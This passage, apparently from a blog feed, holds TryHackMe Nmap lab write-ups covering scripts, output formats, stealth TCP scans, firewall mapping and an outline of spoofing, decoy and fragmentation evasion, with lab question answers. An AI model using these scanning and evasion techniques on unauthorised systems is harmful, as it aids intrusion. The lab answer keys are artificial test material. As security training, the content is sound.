IMAP4rev1 SASL-IR ID more have post-login LITERAL+ STARTTLS OK Pre-login capabilities listed LOGINDISABLEDA0001 LOGIN-REFERRALS IDLE ENABLE<br>|_ssl-date: TLS randomness does not represent time<br>993/tcp open  imaps<br>|_imap-capabilities: IMAP4rev1 SASL-IR ID OK have LITERAL+ post-login Pre-login AUTH=PLAINA0001 capabilities listed more LOGIN-REFERRALS IDLE ENABLE<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=debra2.thm.local<br>| Not valid before: 2021-08-10T12:10:58<br>|_Not valid after:  2031-08-08T12:10:58<br>995/tcp open  pop3s<br>|_ssl-date: TLS randomness does not represent time<br>|_pop3-capabilities: PIPELINING SASL(PLAIN) RESP-CODES AUTH-RESP-CODE CAPA USER TOP UIDL<br>| ssl-cert: Subject: commonName=debra2.thm.local<br>| Not valid before: 2021-08-10T12:10:58<br>|_Not valid after:  2031-08-08T12:10:58<br><br>Nmap done: 1 IP address (1 host up) scanned in 7.55 seconds</pre><p>You can also specify the script by name using --script &quot;SCRIPT-NAME&quot; or a pattern such as --script &quot;ftp*&quot;, which would include ftp-brute. If you are unsure what a script does, you can open the script file with a text reader, such as less, or a text editor. In the case of ftp-brute, it states: “Performs brute force password auditing against FTP servers.” You have to be careful as some scripts are pretty intrusive. Moreover, some scripts might be for a specific server and, if chosen at random, will waste your time with no benefit. As usual, make sure that you are authorised to launch such tests on the target server.</p><p>Let’s consider a benign script, http-date, which we guess would retrieve the HTTP server date and time, and this is indeed confirmed in its description: “Gets the date from HTTP-like services. Also, it prints how much the date differs from local time…” On the AttackBox, we execute sudo nmap -sS -n --script &quot;http-date&quot; 10.113.188.38 as shown in the console below.</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:/usr/share/nmap/scripts#  sudo nmap -sS -n --script &quot;http-date&quot; 10.201.118.127<br>sudo: unable to resolve host ip-10-10-166-81: Name or service not known<br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-18 09:46 +0000<br>Nmap scan report for 10.201.118.127<br>Host is up (0.077s latency).<br>Not shown: 992 closed tcp ports (reset)<br>PORT    STATE SERVICE<br>22/tcp  open  ssh<br>25/tcp  open  smtp<br>80/tcp  open  http<br>|_http-date: Wed, 18 Feb 2026 09:46:15 GMT; +1h00m00s from local time.<br>110/tcp open  pop3<br>111/tcp open  rpcbind<br>143/tcp open  imap<br>993/tcp open  imaps<br>995/tcp open  pop3s<br><br>Nmap done: 1 IP address (1 host up) scanned in 1.80 seconds</pre><p>Finally, you might expand the functionality of Nmap beyond the official Nmap scripts; you can write your own script or download Nmap scripts from the Internet. Downloading and using a Nmap script from the Internet holds a certain level of risk. So it is a good idea not to run a script from an author you don’t trust.</p><p><strong>Q:</strong> Knowing that Nmap scripts are saved in /usr/share/nmap/scripts on the AttackBox. What does the script http-robots.txt check for?</p><p><strong>A:</strong> disallowed entries</p><p><strong>Q:</strong> Can you figure out the name for the script that checks for the remote code execution vulnerability MS15–034 (CVE-2015–1635)?</p><p><strong>A:</strong> http-vuln-cve2015–1635</p><p><strong>Q:</strong> On the AttackBox, run Nmap with the default scripts -sC against 10.113.188.38. You will notice that a page is hosted on port 80. What is the <strong>http-title</strong> value?</p><p><strong>A:</strong> Welcome to nginx on Debian!</p><p><strong>Q:</strong> Based on its description, the script ssh2-enum-algos “reports the number of algorithms (for encryption, compression, etc.) that the target SSH2 server offers.” What is the name of the server host key algorithm that relies on SHA2-512 and is supported by 10.113.188.38?</p><p><strong>A:</strong> rsa-sha2–512</p><blockquote><strong><em>Saving the output</em></strong></blockquote><p>Whenever you run a Nmap scan, it is only reasonable to save the results in a file. Selecting and adopting a good naming convention for your filenames is also crucial.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zgzLxUvHp1TPU_8k.png" /></figure><p>The number of files can grow quickly, hindering your ability to find previous scan results. The three main formats are:</p><ol><li>Normal</li><li>Grepable (grepable)</li><li>XML</li></ol><p>There is a fourth one that we don’t recommend:</p><ul><li>Script Kiddie</li></ul><h3>Normal</h3><p>As the name implies, the normal format is similar to the output you get on the screen when scanning a target. You can save your scan in normal format by using -oN FILENAME; N stands for normal. In the AttackBox, first enter the command nmap -oN scan.nmap 10.113.188.38 and then issue the following command:</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:/usr/share/nmap/scripts# cat scan.nmap <br># Nmap 7.98 scan initiated Wed Feb 18 09:56:51 2026 as: nmap -oN scan.nmap 10.201.118.127<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers: No such file or directory (2)<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.118.127<br>Host is up (0.070s latency).<br>Not shown: 992 closed tcp ports (reset)<br>PORT    STATE SERVICE<br>22/tcp  open  ssh<br>25/tcp  open  smtp<br>80/tcp  open  http<br>110/tcp open  pop3<br>111/tcp open  rpcbind<br>143/tcp open  imap<br>993/tcp open  imaps<br>995/tcp open  pop3s<br><br># Nmap done at Wed Feb 18 09:56:52 2026 -- 1 IP address (1 host up) scanned in 1.36 seconds</pre><h3>Grepable</h3><p>The grepable format has its name from the command grep; grep stands for Global Regular Expression Printer. In simple terms, it makes filtering the scan output for specific keywords or terms efficient. You can save the scan result in a grepable format using -oG FILENAME. The scan output, displayed above in normal format, is shown in the console below using grepable format. The normal output is 21 lines; however, the grepable output is only 4 lines. The main reason is that Nmap wants to make each line meaningful and complete when the user applies grep. As a result, the lines in the grepable output are so long that they are not convenient to read compared to the normal output. A sample response is shown below:</p><p><strong>Pentester Terminal</strong></p><pre>pentester@TryHackMe$ cat MACHINE_IP_scan.gnmap <br># Nmap 7.60 scan initiated Fri Sep 10 05:14:19 2021 as: nmap -sS -sV -O -oG MACHINE_IP_scan 10.113.188.38<br>Host: 10.113.188.38	Status: Up<br>Host: 10.113.188.38	Ports: 22/open/tcp//ssh//OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)/, 25/open/tcp//smtp//Postfix smtpd/, 80/open/tcp//http//nginx 1.6.2/, 110/open/tcp//pop3//Dovecot pop3d/, 111/open/tcp//rpcbind//2-4 (RPC #100000)/, 143/open/tcp//imap//Dovecot imapd/	Ignored State: closed (994)	OS: Linux 3.13	Seq Index: 257	IP ID Seq: All zeros<br># Nmap done at Fri Sep 10 05:14:28 2021 -- 1 IP address (1 host up) scanned in 9.99 seconds</pre><p>An example use of grep is grep KEYWORD TEXT_FILE; this command displays all lines containing the provided keyword. Let’s compare the output of using grep on normal output and grepable output. You will notice that the former does not include the host&#39;s IP address. Instead, it returned 80/tcp open http nginx 1.6.2, making it very inconvenient when sifting through the scan results of multiple systems. However, the latter provides enough information, such as the host’s IP address, in each line to make it complete.</p><p><strong>Pentester Terminal</strong></p><pre>pentester@TryHackMe$ grep http MACHINE_IP_scan.nmap <br>80/tcp  open  http    nginx 1.6.2<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</pre><p><strong>Pentester Terminal</strong></p><pre>pentester@TryHackMe$ grep http MACHINE_IP_scan.gnmap <br>Host: 10.113.188.38	Ports: 22/open/tcp//ssh//OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)/, 25/open/tcp//smtp//Postfix smtpd/, 80/open/tcp//http//nginx 1.6.2/, 110/open/tcp//pop3//Dovecot pop3d/, 111/open/tcp//rpcbind//2-4 (RPC #100000)/, 143/open/tcp//imap//Dovecot imapd/	Ignored State: closed (994)	OS: Linux 3.13	Seq Index: 257	IP ID Seq: All zeros</pre><h3>XML</h3><p>The third format is XML. You can save the scan results in XML format using -oX FILENAME. The XML format would be most convenient for processing the output in other programs. Conveniently enough, you can save the scan output in all three formats using -oA FILENAME to combine -oN, -oG, and -oX for normal, grepable, and XML.</p><h3>Script Kiddie</h3><p>A fourth format is script kiddie. You can see that this format is useless if you want to search the output for any interesting keywords or keep the results for future reference. However, you can use it to save the output of the scan nmap -sS 127.0.0.1 -oS FILENAME, display the output filename, and look 31337 in front of friends who are not tech-savvy.</p><p><strong>Pentester Terminal</strong></p><pre>pentester@TryHackMe$ cat MACHINE_IP_scan.kiddie<br><br>$tart!ng nMaP 7.60 ( httpz://nMap.0rG ) at 2021-09-10 05:17 B$T<br>Nmap scan rEp0rt f0r |p-10-10-161-170.EU-w3$t-1.C0mputE.intErnaL (10.10.161.170)<br>HOSt !s uP (0.00095s LatEncy).<br>N0T $H0wn: 994 closed pOrtS<br>PoRT    st4Te SeRViC3 VERS1on<br>22/tcp  Open  ssH     Op3n$$H 6.7p1 Deb|an 5+dEb8u8 (pr0t0COl 2.0)<br>25/tCp  Op3n  SmTp    P0$Tf!x Smtpd<br>80/tcp  0p3n  http    Ng1nx 1.6.2<br>110/tCP 0pen  pOP3    d0v3coT P0p3D<br>111/TcP op3n  RpcbInd 2-4 (RPC #100000)<br>143/Tcp opEn  Imap    Dovecot 1mApd<br>mAC 4Ddr3sz: 02:40:e7:B5:B6:c5 (Unknown)<br>Netw0rk d!stanc3: 1 h0p<br>$3rv1c3 InFO: Ho$t:  dEBra2.thM.lOcal; 0s: Linux; cPe: cP3:/0:linux:l|nux_k3rnel<br><br>0S and servIc3 D3tEcti0n pErf0rm3d. Plea$e r3p0rt any !nc0RrecT rE$ultz at hTtpz://nmap.0rg/$ubmit/ .<br>Nmap d0nE: 1 |P addr3SS (1 hoSt up) $CaNnEd !n 21.80 s3c0Ndz</pre><p><strong>Q: </strong>What parameter is used to save the output in a greppable format? Write with a dash (-).</p><p><strong>A:</strong> -oG</p><p><strong>Q:</strong> Is it possible to save Nmap output in XML format (yea/nay)?</p><p><strong>A:</strong> yea</p><blockquote><strong><em>Summary</em></strong></blockquote><p>In this room, we learned how to detect running services, their versions, and the host operating system. We learned how to enable traceroute and how to select one or more scripts to aid in penetration testing. Finally, we covered the different formats for saving scan results for future reference. The table below summarises the most important options we covered in this room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aQobrpWMcOeUMAJ6zuP3ZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6jBu1HcHdSNzV_DKxHwFeA.png" /></figure><blockquote><strong><em>Conclusion</em></strong></blockquote><p>Here’s the link to the room on <strong>TryHackMe</strong>: <a href="https://tryhackme.com/room/nmap04">https://tryhackme.com/room/nmap04</a>. Check it out, and solve the lab, if you haven’t.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80ec0c3879ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nmap Series: Nmap Advanced Port Scans — Part 3.]]></title>
            <link>https://oluwakamiye.medium.com/nmap-series-nmap-advanced-port-scans-part-3-dd167fc2d566?source=rss-824919a2e164------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd167fc2d566</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Oluwakamiye Adeyemo]]></dc:creator>
            <pubDate>Tue, 19 May 2026 22:29:21 GMT</pubDate>
            <atom:updated>2026-05-19T22:29:21.296Z</atom:updated>
            <content:encoded><![CDATA[<p>In this write-up, I walk you through the <strong>Nmap Advanced Port Scans</strong> room on <strong>TryHackMe</strong>. I explore advanced scanning and spoofing techniques covering Null, FIN, Xmas, and idle scans.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/0*XFYaoDO2NRpv4q4t" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>In <a href="https://tryhackme.com/room/nmap02">Nmap Basic Port Scans</a> — (<a href="https://medium.com/@oluwakamiye/nmap-series-nmap-basic-port-scans-part-2-778b93193f83"><em>https://medium.com/@oluwakamiye/nmap-series-nmap-basic-port-scans-part-2-778b93193f83</em></a>), we covered TCP flags and reviewed the TCP 3-way handshake. To initiate a connection, TCP requires that the first packet include the SYN flag. Consequently, we can tell if a TCP port is open based on the response we receive.</p><p>Security researchers and hackers examined the TCP flags shown in the figure below to determine what would happen if they sent a TCP packet that was not part of any ongoing TCP connection, with one or more flags set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BCI81-cksIA8O5F3.png" /></figure><p>For instance, the ACK flag is set when you acknowledge receipt of data. An ACK scan is like trying to acknowledge data that was neither sent nor received in the first place. Consider this simple analogy: someone coming to you out of nowhere to tell you, “Yes, I hear you, please continue.” when you haven’t said anything.</p><p>This room is the third in the Nmap series. In the first two rooms, we learned about live host discovery and basic port scans.</p><h3>Prerequisites</h3><p>Before diving in, make sure you have completed the following rooms, as we will build on concepts covered there:</p><ol><li><a href="https://tryhackme.com/room/nmap01">Nmap Live Host Discovery</a> — <a href="https://medium.com/@oluwakamiye/nmap-series-nmap-live-host-discovery-part-1-5bab2c45f5de"><em>https://medium.com/@oluwakamiye/nmap-series-nmap-live-host-discovery-part-1-5bab2c45f5de</em></a></li><li><a href="https://tryhackme.com/room/nmap02">Nmap Basic Port Scans</a> — <a href="https://medium.com/@oluwakamiye/nmap-series-nmap-basic-port-scans-part-2-778b93193f83"><em>https://medium.com/@oluwakamiye/nmap-series-nmap-basic-port-scans-part-2-778b93193f83</em></a></li></ol><p>You should also be comfortable with the following concepts from the previous rooms:</p><ul><li>TCP flags (SYN, ACK, FIN, RST, PSH, URG) and how they are used in communication</li><li>The TCP 3-way handshake and how it establishes a connection</li><li>The difference between open, closed, and filtered ports</li><li>Basic Nmap scan types such as TCP connect scan (-sT) and SYN scan (-sS)</li></ul><h3>Learning Objectives</h3><p>This room explains advanced scan types and options. By the end of this room, you will be able to perform the following:</p><p><strong>Advanced Port Scan</strong></p><ul><li><strong>Types Null Scan</strong> — Send a TCP packet with no flags set to infer open ports from the lack of a response.</li><li><strong>FIN Scan</strong> — Send a TCP packet with only the FIN flag to probe ports without initiating a connection.</li><li><strong>Xmas Scan </strong>— Set FIN, PSH, and URG flags simultaneously to probe ports behind stateless firewalls.</li><li><strong>Maimon Scan</strong> — Set FIN and ACK flags together to exploit a behaviour found in certain BSD-derived systems.</li><li><strong>ACK Scan</strong> — Send a packet with only the ACK flag to map firewall rules rather than discover open ports.</li><li><strong>Window Scan</strong> — Examine the TCP Window field in RST responses to differentiate open from closed ports.</li><li><strong>Custom Scan</strong> — Use — scanflags to craft your own TCP flag combinations for tailored probing.</li></ul><p><strong>Evasion and Spoofing Techniques</strong></p><ul><li><strong>Spoofing IP </strong>— Forge the source IP address using -S so scan traffic appears to originate from a different host.</li><li><strong>Spoofing MAC</strong> — Forge the source MAC address using — spoof-mac when on the same local network as the target.</li><li><strong>Decoy Scan</strong> — Mix your real IP among multiple decoy addresses using -D to obscure the true scan source.</li><li><strong>Fragmented Packets</strong> — Split packets into smaller IP fragments using -f or -ff to evade firewalls and IDS.</li><li><strong>Idle/Zombie Scan</strong> — Use an idle third-party host with -sI to scan a target without revealing your own IP address.</li></ul><p>Moreover, we will explore options for getting more verbose details from Nmap, including --reason, -v, -vv, and debugging flags.</p><h3>Connecting to the Machine</h3><p>Launch the AttackBox by using the Start AttackBox button and the Target machine by using the Start Machine button. Get ready to experiment with different Nmap scan types against various virtual machines.</p><p>We will discuss options and techniques to evade firewalls and IDS systems. We also cover options to get more verbose details from Nmap. In the upcoming exercises, we will also observe the machine’s behaviour with and without a firewall. You can access the link http://10.113.190.12:5000 to enable or disable the firewall, it is disabled by default, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/0*iRJ0vIdzI6MbZKwg.png" /></figure><blockquote><strong><em>TCP Null Scan, FIN Scan, and Xmas Scan</em></strong></blockquote><h3>Null Scan</h3><p>The null scan does not set any flag; all six flag bits are set to zero. You can choose this scan using the -sN option. A TCP packet with no flags set will not trigger any response when it reaches an open port, as shown in the figure below. Therefore, from Nmap’s perspective, a lack of reply in a null scan indicates that either the port is open or a firewall is blocking the packet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iT52qXvKbtjisuJX.png" /></figure><p>However, we expect the target server to respond with an RST packet if the port is closed. Consequently, we can use the lack of RST response to determine which ports are not closed: open or filtered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dZEyE-5V_mLq8xS3.png" /></figure><p>Below is an example of a null scan against a Linux server. The null scan we conducted successfully identified the nine open ports on the target system. Because the null scan relies on the lack of a response to infer that a port is open, it cannot conclusively indicate that these ports are open; it is possible that they are not responding due to a firewall rule. In the AttackBox, enter the following command in the terminal:</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:~# sudo nmap -sN 10.113.190.12<br>sudo: unable to resolve host ip-10-10-166-81: Name or service not known<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-17 06:52 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.89.221<br>Host is up (0.070s latency).<br>Not shown: 991 closed ports<br>PORT STATE SERVICE<br>22/tcp open|filtered ssh<br>25/tcp open|filtered smtp<br>80/tcp open|filtered http<br>110/tcp open|filtered pop3<br>111/tcp open|filtered rpcbind<br>143/tcp open|filtered imap<br>993/tcp open|filtered imaps<br>995/tcp open|filtered pop3s<br>5000/tcp open|filtered upnp<br><br>Nmap done: 1 IP address (1 host up) scanned in 2.43 seconds</pre><p>Note that many Nmap options require root privileges. Unless you are running Nmap as root, you need to use sudo as in the example above using the -sN option.</p><h3>FIN Scan</h3><p>The FIN scan sends a TCP packet with the FIN flag set. You can choose this scan type using the -sF option. Similarly, no response will be sent if the TCP port is open. Again, Nmap cannot be sure whether the port is open or whether a firewall is blocking traffic on this TCP port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fIYASQ6mbqRWj8TU.png" /></figure><p>However, the target system should respond with an RST if the port is closed. Consequently, we will be able to identify which ports are closed and use this knowledge to infer which are open or filtered. It’s worth noting that some firewalls will ‘silently’ drop the traffic without sending an RST.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TUtJUWt-InTipO9B.png" /></figure><p>Below is an example of a FIN scan against a Linux server. The result is quite similar to that obtained earlier using a null scan. In the AttackBox, enter the following command:</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:~# sudo nmap -sF 10.113.190.12<br>sudo: unable to resolve host ip-10-10-166-81: Name or service not known<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-17 07:10 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.89.221<br>Host is up (0.072s latency).<br>Not shown: 991 closed ports<br>PORT STATE SERVICE<br>22/tcp open|filtered ssh<br>25/tcp open|filtered smtp<br>80/tcp open|filtered http<br>110/tcp open|filtered pop3<br>111/tcp open|filtered rpcbind<br>143/tcp open|filtered imap<br>993/tcp open|filtered imaps<br>995/tcp open|filtered pop3s<br>5000/tcp open|filtered upnp<br><br>Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds</pre><h3>Xmas Scan</h3><p>The Xmas scan gets its name from the Christmas tree lights. An Xmas scan sets the FIN, PSH, and URG flags simultaneously. You can select the Xmas scan with the option -sX.</p><p>As with the Null and FIN scans, receiving an RST packet indicates that the port is closed. Otherwise, it will be reported as open|filtered.</p><p>The following two figures show the cases when the TCP port is open and when it is closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1x9j9AXIM8dq_ZPb.png" /></figure><p>In case the port is closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*z_P9Ck_ET32d8p6h.png" /></figure><p>The console output below shows an example of a Xmas scan against a Linux server. The results are pretty similar to those of the Null and FIN scans. In the AttackBox, enter the following command:</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:~# sudo nmap -sX 10.113.190.12<br>sudo: unable to resolve host ip-10-10-166-81: Name or service not known<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-17 07:13 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.89.221<br>Host is up (0.073s latency).<br>Not shown: 991 closed ports<br>PORT STATE SERVICE<br>22/tcp open|filtered ssh<br>25/tcp open|filtered smtp<br>80/tcp open|filtered http<br>110/tcp open|filtered pop3<br>111/tcp open|filtered rpcbind<br>143/tcp open|filtered imap<br>993/tcp open|filtered imaps<br>995/tcp open|filtered pop3s<br>5000/tcp open|filtered upnp<br><br>Nmap done: 1 IP address (1 host up) scanned in 2.40 seconds</pre><p>One scenario where these three scan types can be efficient is when scanning a target behind a stateless (non-stateful) firewall. A stateless firewall checks whether the incoming packet has the SYN flag set to detect a connection attempt. Using a flag combination that does not match the SYN packet allows deception of the firewall and access to the system behind it. However, a stateful firewall will practically block all such crafted packets, rendering this kind of scan useless.</p><p><strong>Q:</strong> In a null scan, how many flags are set to 1?</p><p><strong>A:</strong> 0</p><p><strong>Q:</strong> In a FIN scan, how many flags are set to 1?</p><p><strong>A:</strong> 1</p><p><strong>Q:</strong> In a Xmas scan, how many flags are set to 1?</p><p><strong>A:</strong> 3</p><p><strong>Q:</strong> Launch a FIN scan against the target VM. How many ports appear as open|filtered?</p><p><strong>A:</strong> 9</p><blockquote><strong><em>TCP Maimon Scan</em></strong></blockquote><p>Uriel Maimon first described this scan in 1996. In this scan, the FIN and ACK bits are set. The target should send an RST packet as a response. However, certain BSD-derived systems drop the packet if it is an open port exposing the open ports. This scan won’t work on most targets encountered in modern networks; however, we include it in this room to better understand the port scanning mechanism and the hacking mindset. To select this scan type, use the -sM option.</p><p>Most target systems respond with an RST packet regardless of whether the TCP port is open. In such a case, we won’t be able to discover the open ports. The figure below shows the expected behaviour for both open and closed TCP ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_4KcMMEWqXs5VlnS.png" /></figure><p>The console output below is an example of a TCP Maimon scan against a Linux server. As mentioned, because open and closed ports behave the same way, the Maimon scan could not detect any open ports on the target system.</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:~# sudo nmap -sM 10.201.89.221<br>sudo: unable to resolve host ip-10-10-166-81: Name or service not known<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-17 07:17 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.89.221<br>Host is up (0.075s latency).<br>All 1000 scanned ports on 10.201.89.221 are closed<br><br>Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds</pre><p>This type of scan is not the first scan one would pick to discover a system; however, it is important to know about it, as you don’t know when it could come in handy.</p><p><strong>Q:</strong> In the Maimon scan, how many flags are set?</p><p><strong>A:</strong> 2</p><blockquote><strong><em>TCP ACK, Window, and Custom Scan</em></strong></blockquote><h3>TCP ACK Scan</h3><p>Let’s start with the TCP ACK scan. As the name implies, an ACK scan will send a TCP packet with the ACK flag set. Use the -sA option to choose this scan. As shown in the figure below, the target would respond to the ACK with RST regardless of the port&#39;s state. This behaviour occurs because a TCP packet with the ACK flag set should be sent only in response to a received TCP packet to acknowledge receipt of data, unlike in our case. Hence, this scan won’t tell us whether the target port is open in a simple setup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4uEYSSn6qiPienDI.png" /></figure><p>In the following example, we will scan the target VM before installing a firewall on it. As expected, we couldn’t learn which ports were open.</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:~# sudo nmap -sA 10.113.190.12<br>sudo: unable to resolve host ip-10-10-166-81: Name or service not known<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-17 07:20 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.89.221<br>Host is up (0.074s latency).<br>All 1000 scanned ports on 10.201.89.221 are unfiltered<br><br>Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds</pre><p>This kind of scan would be helpful if a firewall were in front of the target. Consequently, based on which ACK packets resulted in responses, you will learn which ports were not blocked by the firewall. In other words, this type of scan is better suited to discovering firewall rule sets and configurations.</p><p>Visit the URL http://10.113.190.12:5000 to activate the firewall, and we will repeat the scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/0*QFk0HJruXAJwKI3H.png" /></figure><p>This time, we received some interesting results. As shown in the console output below, the firewall is blocking all other ports except these five.</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:~# sudo nmap -sA 10.113.190.12<br>sudo: unable to resolve host ip-10-10-166-81: Name or service not known<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-17 07:26 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.89.221<br>Host is up (0.070s latency).<br>Not shown: 995 filtered ports<br>PORT STATE SERVICE<br>22/tcp unfiltered ssh<br>25/tcp unfiltered smtp<br>80/tcp unfiltered http<br>443/tcp unfiltered https<br>5000/tcp unfiltered upnp<br><br>Nmap done: 1 IP address (1 host up) scanned in 5.69 seconds</pre><h3>Window Scan</h3><p>Another similar scan is the TCP window scan. The TCP window scan is almost identical to the ACK scan; however, it examines the TCP Window field of the RST packets returned. On specific systems, this can reveal that the port is open. You can select this scan type with the option -sW. As shown in the figure below, we expect to get an RST packet in reply to our “uninvited” ACK packets, regardless of whether the port is open or closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9G4keqjr2RaiPzzy.png" /></figure><p>Similarly, launching a TCP window scan against a Linux system without a firewall will not yield much information. As shown in the console output below, the results of the window scan against a Linux server with no firewall didn’t provide any additional information beyond the ACK scan executed earlier.</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:~# sudo nmap -sW 10.113.190.12<br>sudo: unable to resolve host ip-10-10-166-81: Name or service not known<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-17 08:11 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.89.221<br>Host is up (0.072s latency).<br>All 1000 scanned ports on 10.201.89.221 are closed<br><br>Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds</pre><p>However, as you would expect, if we repeat our TCP window scan against a server behind a firewall, we expect to get more satisfying results. In the console output shown below, the TCP window scan identified five ports as closed. (This is in contrast with the ACK scan, which labelled the same five ports as unfiltered.) Although we know that these five ports are not closed, we realise they responded differently, indicating that the firewall does not block them.</p><p><strong>Terminal</strong></p><pre>root@ip-10-10-166-81:~# sudo nmap -s 10.113.190.12<br>sudo: unable to resolve host ip-10-10-166-81: Name or service not known<br>Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-17 08:13 GMT<br>mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers<br>mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers<br>Nmap scan report for 10.201.89.221<br>Host is up (0.067s latency).<br>Not shown: 995 filtered ports<br>PORT STATE SERVICE<br>22/tcp closed ssh<br>25/tcp closed smtp<br>80/tcp closed http<br>443/tcp closed https<br>5000/tcp closed upnp<br><br>Nmap done: 1 IP address (1 host up) scanned in 5.08 seconds</pre><h3>Custom Scan</h3><p>If you want to experiment with a new TCP flag combination beyond the built-in TCP scan types, you can do so using --scanflags. For instance, if you want to set SYN, RST, and FIN simultaneously, you can do so using --scanflags RSTSYNFIN. As shown in the figure below, if you develop your own custom scan, you need to understand how the different ports will behave to correctly interpret the results in different scenarios.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_1nlNDHWQVrsTPwg.png" /></figure><p>Finally, it is essential to note that the ACK and window scans were highly effective in helping us map the firewall rules. However, it is vital to remember that just because a firewall is not blocking a specific port, it does not necessarily mean that a service is listening on that port. For example, the firewall rules may need to be updated to reflect recent service changes. Hence, ACK and window scans are exposing the firewall rules, not the services.</p><p><strong>Q:</strong> In TCP Window scan, how many flags are set?</p><p><strong>A:</strong> 1</p><p><strong>Q:</strong> You decided to experiment with a custom TCP scan that has the reset flag set. What would you add after — scanflags?</p><p><strong>A:</strong> RST</p><p><strong>Q:</strong> Launch an ACK scan against the target VM with the firewall enabled. How many ports appear unfiltered?</p><p><strong>A:</strong> 5</p><p><strong>Q: </strong>What is the new port number that appeared? To determine the new port you need to compare the scan results of Task 2 to the ones of this task.</p><p><strong>A:</strong> 443</p><p><strong>Q:</strong> Is there any service behind the newly discovered port number? (yea/nay)</p><p><strong>A:</strong> yea</p><blockquote><strong><em>Spoofing and 